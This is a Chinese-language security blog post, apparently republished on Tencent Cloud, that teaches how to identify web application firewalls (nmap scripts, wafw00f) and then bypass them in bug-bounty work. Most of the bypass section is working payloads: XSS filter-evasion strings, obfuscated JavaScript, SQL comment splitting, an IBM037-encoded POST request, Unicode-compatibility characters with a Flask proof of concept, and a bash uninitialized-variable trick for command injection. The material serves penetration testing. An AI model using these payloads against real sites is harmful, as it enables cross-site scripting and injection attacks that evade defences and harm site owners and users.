Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >干货|挖掘赏金漏洞中,绕过WAF的常用5种方式

干货|挖掘赏金漏洞中,绕过WAF的常用5种方式

作者头像
HACK学习
发布于 2023-08-22 02:38:00
发布于 2023-08-22 02:38:00
2.5K016
代码可运行
举报
文章被收录于专栏:HACK学习HACK学习
运行总次数:16
代码可运行

漏洞挖掘中,绕过WAF的5种方式

简介

WAF是一种用于过滤和阻止恶意网络流量的网络安全解决方案。国外网站常见的供应商包括CloudFlare、AWS、Citrix、Akamai、Radware、Microsoft Azure和Barracuda。

根据防火墙使用的机制组合,绕过方法可能会有所不同。

例如,WAF可能会使用正则表达式来检测恶意流量。正则表达式用于检测字符串中的模式。

WAF还可以采用基于签名的检测,其中已知的恶意字符串被赋予存储在数据库中的签名,防火墙将根据数据库的内容检查网络流量的签名。

如果有匹配,网络将被封锁。此外,一些防火墙使用基于启发式检测。

识别WAF

如前所述,WAF通常会阻止公开的恶意流量。为了触发防火墙并验证其存在,可以向网络应用程序发出HTTP请求,在URL中加入恶意查询,如https://example.com/?p4yl04d3=。

对于正在访问的网页,HTTP响应可能与预期的不同。WAF可能会返回它自己的网页,如下图所示,或一个不同的状态代码,通常在400左右。

手动识别

通过Web代理、cURL或浏览器DevTools的“网络”选项卡,可以检测到防火墙的其他指示:

Server header中WAF的名称(例如Server: cloudflare)

与WAF关联的其他HTTP响应头(例如CF-RAY: xxxxxxxxxxx)

似乎由WAF设置的Cookie(例如响应头Set-Cookie: __cfduid=xxxxx)

提交恶意请求时的唯一响应代码。(例如412)

除了制作恶意查询和评估响应外,还可以通过向服务器发送FIN/RST TCP数据包或实施侧面通道攻击来检测防火墙。例如,防火墙针对不同payload的时间可以提示正在使用的WAF。

自动识别工具

1.运行Nmap扫描

Nmap脚本引擎(NSE)包括用于检测和指纹防火墙的脚本。这些脚本可以在下面看到。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.com
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 21:43 PDT
Nmap scan report for example.com (xxx.xxx.xxx.xxx)
Host is up (0.20s latency).

PORT    STATE SERVICE
443/tcp open  https
| http-waf-detect: IDS/IPS/WAF detected:
|_example.com:443/?p4yl04d3=<script>alert(document.cookie)</script>

Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds

2.WafW00f

Wafw00f是一个命令行实用程序,可将通常标记的payload发送到给定的域名,并评估Web服务器的响应,以尽可能检测和识别防火墙。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ wafw00f example.com      

3.WhatWaf

除了检测防火墙外,WhatWaf还可以通过使用篡改脚本和评估Web服务器对各种有效负载的响应来尝试发现旁路。

WhatWaf的结果与Wafw00f的结果一致。

绕过WAF的5种方式

本节将用示例概述一些潜在的WAFBypass技术。

1.绕过Regex

此方法适用于WAF和Web服务器完成的正则表达式过滤。在黑盒渗透测试中,查找WAF使用的正则表达式可能不是一个选项。

Commmon旁路包括更改payload的情况,使用各种编码,替换函数或字符,使用替代语法,以及使用换行符或制表符。

以下示例演示了一些绕过正则表达式和注释的方法。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<sCrIpT>alert(XSS)</sCriPt> #更改标签大小写
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #删除关闭标签
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #使用编码的换行字符
<iframe src=http://malicous.com < #double 打开角度括号
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaaaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters

混淆技术

虽然混淆是绕过正则表达式的一种可能方式,但它们被划分为不同的部分,以更专门地展示混淆技术的选择。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode 编码
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #在SQL查询中使用注释来分解语句
new Function`alt\`6\``; #using backticks 而不是括号
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 编码javascript
%26%2397;lert(1) #使用HTML编码
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #使用线路馈线(LF)换行符
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # 在事件处理程序和等号之间使用任何不是字母、数字或封装字符的字符(仅适用于Gecko引擎)

更多payload:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads

2.字符集

该技术涉及修改Content-Type标头以使用不同的字符集(例如ibm500)。未配置为检测不同编码的恶意payload的WAF可能无法识别该请求为恶意。字符集编码可以用Python完成

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ python3
-- snip --
>>> import urllib.parse
>>> s = '<script>alert("xss")</script>'
>>> urllib.parse.quote_plus(s.encode("IBM037"))
'L%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3n'

然后,编码的字符串可以在请求正文中发送并上传到服务器。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /comment/post HTTP/1.1
Host: chatapp
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 74

%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3

3.内容大小

在一些基于云的WAF中,如果payload超过一定大小,则不会检查请求。在这些情况下,可以通过增加请求主体或URL的大小来绕过防火墙。

4.Unicode兼容性

Unicode兼容性是一个概念,它描述了将视觉上不同的字符分解为相同的基本抽象字符。这是一种Unicode等价的形式。

例如,字符/(U+FF0F)和/(U+002F)是不同的,但在某些情况下,它们将具有相同的含义。共享含义允许字符相互兼容,这意味着尽管一开始是不同的字符,但它们都可以转换为标准的正斜杠字符/(U+002F)。

深入挖掘,/(U+FF0F)和/(U+002F)最终是否会成为相同的正斜杠字符,取决于网络服务器对它们进行规范化或翻译的方式。

字符通常通过四种标准Unicode标准化算法之一进行标准化:

  • NFC:标准化形式规范组成
  • NFD:标准化形式规范分解
  • NFKC:标准化表单兼容性组成
  • NFKD:标准化表单兼容性分解

特别是NFKC和NFKD将根据兼容性分解字符,这与NFC和NFD不同(详情请参阅此处https://www.unicode.org/reports/tr15/)。

这意味着,在Web服务器上,用户输入首先被清理,然后使用NFKC或NFKD进行归一化,意外的兼容字符可以绕过WAF,并在后端作为其规范等价物执行。

这是WAF不期望与Unicode兼容的字符的结果。

Jorge Lahara在下面的PoC网络服务器中演示了这一点。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from flask import Flask, abort, request
import unicodedata
from waf import waf

app = Flask(__name__)


@app.route('/')
def Welcome_name():
  name = request.args.get('name')


  if waf(name):
    abort(403, description="XSS Detected")
  else:
    name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD
    return 'Test XSS: ' + name

if __name__ == '__main__':
  app.run(port=81)

如果防火墙可能检测到<<img src=p onerror='prompt(1)'>的inial payload,则使用Unicode兼容字符(<<img src⁼p onerror⁼'prompt⁽1⁾'﹥)构建的payload将保持未检测到。

在清理输入后对其进行规范化的Web服务器可能容易通过Unicode兼容性绕过WAF。

5.未初始化的变量

潜在的方法是在您的请求中使用未初始化的变量(例如$u),如本文所示。这在命令执行场景中是可能的,因为Bash将未初始化的变量视为空字符串。当将空字符串与命令执行payload连接时,结果最终成为命令执行payload。

当在易受命令注入的系统中时,在payload中插入未初始化的变量可以作为一种混淆形式,绕过防火墙。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-06-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
『Jmeter入门万字长文』 | 从环境搭建、脚本设计、执行步骤到生成监控报告完整过程
虫无涯
2023/11/01
3.1K0
通过案例带你轻松玩转JMeter连载(50)
JMeter的运行 JMeter可以在GUI下运行也可以在非GUI下运行。由于在GUI下会占用一定的压测机器的资源,所以JMeter官方不支持在GUI下面运行,打开JMeter.bat,在命令行中会显示如图1内容。
顾翔
2022/02/10
5120
通过案例带你轻松玩转JMeter连载(50)
性能工具之JMeter两个Java API Demo
https://github.com/7DGroup/JMeter-API-Demo
高楼Zee
2019/07/17
2.1K0
「性能系列」使用JMeter极限压测Webman框架性能
本文将介绍如何使用Apache JMeter(JMeter)工具对Webman框架进行极限压测,以评估其性能。JMeter是一个广泛使用的开源负载测试工具,可用于模拟高并发请求并评估系统的响应能力。通过使用JMeter进行极限压测,我们可以深入了解Webman框架在高负载条件下的性能表现。
Tinywan
2023/11/08
7770
「性能系列」使用JMeter极限压测Webman框架性能
Kubernetes 下部署 Jmeter 集群
可以从 master 节点启动测试,master 节点把对应的测试脚本发送到对应的 slaves 节点,slave 节点的 pod/nodes 主要作用即发压。
高楼Zee
2021/04/01
3.1K0
Kubernetes 下部署 Jmeter 集群
Jmeter(三十八) - 从入门到精通进阶篇 - 命令行运行JMeter详解(详解教程)
  前边一篇文章介绍了如何生成测试报告,细心地小伙伴或者同学们可以看到宏哥启动Jmeter生成测试报告不是在gui页面操作的,而是在gui页面设置好保存以后,用命令行来生成测试报告的。这一篇宏哥就详细的介绍一下为什么用命令行而不是GUI,以及启动时的一些参数的含义。
北京-宏哥
2021/03/18
7.7K0
Jmeter(三十八) - 从入门到精通进阶篇 - 命令行运行JMeter详解(详解教程)
JMeter 扩展开发:BeanShell 数据模拟实现及性能探讨
在写 JMeter 脚本的时候经常需要模拟一些数据,通常的做法是采用”CSV Data Set Config”从 CSV 文件中读取数据。但是使用数据文件不够灵活,需要提前根据虚拟用户数准备相应数量的测试数据。比如,某应用的用户注册过程需要提供手机号码,如果采用 CSV 文件,测试 1000 虚拟用户就需要准备 1000 个手机号码。如果测试过程中要增加虚拟用户数目,则需要准备更多的测试数据。整个过程比较费时费力。
EMQ映云科技
2022/10/21
6620
Linux下安装配置Jenkins+Jmeter
export JMETER_HOME=/opt/tools/apache-jmeter-3.1 export CLASSPATH=$JMETER_HOME/lib/ext/ApacheJMeter_core.jar:$JMETER_HOME/lib/jorphan.jar:$JMETER_HOME/lib/logkit-2.0.jar:$CLASSPATH export PATH=$JMETER_HOME/bin:$PATH:$HOME/bin
星哥玩云
2022/07/28
2.1K0
Linux下安装配置Jenkins+Jmeter
postman导入请求到jmeter进行简单压测,开发同学一学就会
这个事情也是最近做的,因为线上nginx被我换成了openresty,然后接入层服务也做了较大改动,虽然我们这个app(内部办公类)并发不算高,但好歹还是压测一下,上线时心里也稳一点。
低级知识传播者
2023/10/22
1.8K0
postman导入请求到jmeter进行简单压测,开发同学一学就会
全能詹:Jenkins收集测试误报用例
什么是误报? 这里定义为不是用例本身错误导致的错误(网络、环境等原因造成的失败)。
DevOps云学堂
2019/11/28
1.2K0
性能测试与持续集成(JMeter+Jenkins)
目的 将性能测试与持续集成挂接起来 性能测试: JMeter 持续集成: Jenkins JMeter 下载JMeter,官网: http://jmeter.apache.org/ 创建测试计划: 访
小小科
2018/05/04
5.1K0
性能测试与持续集成(JMeter+Jenkins)
性能工具之JMeter5.0核心源码浅析
周末无聊看了下 JMeter5.0 的源码,本文就当做个小结,水平有限,如有理解不到位或错误的的地方,望大家指出,谢谢。
高楼Zee
2019/07/17
2.2K0
性能工具之JMeter5.0核心源码浅析
基于JMeter开展性能测试(插件、监控、分布式压测)!
安装jdk1.8:默认安装,配置环境变量,新建系统变量JAVA_HOME 值:jdk的安装路径
测试开发技术
2022/09/28
1.3K0
性能工程之中级系列之四
为了方便跟踪系统tps变动,这次采用 Grafana 展示结果,而且采用 docker 安装部署 influxdb 与 grafana ,参考命令如:
高楼Zee
2021/04/01
5490
性能工程之中级系列之四
05|指标关系:你知道并发用户数应该怎么算吗?
我在性能综述的那三篇文章中,描述了各种指标,比如 TPS、RPS、QPS、HPS、CPM 等。我也强调了,我们在实际工作的时候,应该对这些概念有统一的认识。
软测小生
2020/02/24
4.1K0
教你一招搞定Jmeter可视化报告
一直以来,jmeter作为开源压测工具被广大测试工程师们所偏好,不仅仅其开源便于二次扩展,更在于其本身强大丰富的功能,让我们可以不用编写代码也能做好性能测试。但是,jmeter本身在报告这块做的差强人意,我们希望能够将数据更好的收集和展示以便分析,今天小编就给大家介绍Influxdb+Grafana+jmeter这套组合,实现jmeter报告的可视化展示。
TestOps
2022/04/07
1K0
教你一招搞定Jmeter可视化报告
可以收藏的JMeter分布式踩坑大全
关于jmeter分布式压测如何搭建网上的文章很多,搭建过程本文不再赘述,主要讨论可能的报错以及解决方案,下面的内容可能查阅的频率很高,强烈建议收藏。
周辰晨
2020/05/22
2.3K0
性能工具之Jmeter小白入门系列之六
关闭防火墙(重启生效):chkconfig iptables off(关闭)/on(开启)
高楼Zee
2020/06/07
9650
python grpc 应用
RPC(Remote Procedure Call Protocol)——远程过程调用协议,它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。RPC协议假定某些传输协议的存在,如TCP或UDP,为通信程序之间携带信息数据。在OSI网络通信模型中,RPC跨越了传输层和应用层。RPC使得开发包括网络分布式多程序在内的应用程序更加容易。
py3study
2020/01/06
2.1K0
python grpc 应用
性能工具之JMeter+InfluxDB+Grafana打造压测可视化实时监控
本文我们将介绍如何使用JMeter+InfluxDB+Grafana打造压测可视化实时监控。
高楼Zee
2019/07/17
2.7K0
性能工具之JMeter+InfluxDB+Grafana打造压测可视化实时监控
推荐阅读
相关推荐
『Jmeter入门万字长文』 | 从环境搭建、脚本设计、执行步骤到生成监控报告完整过程
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验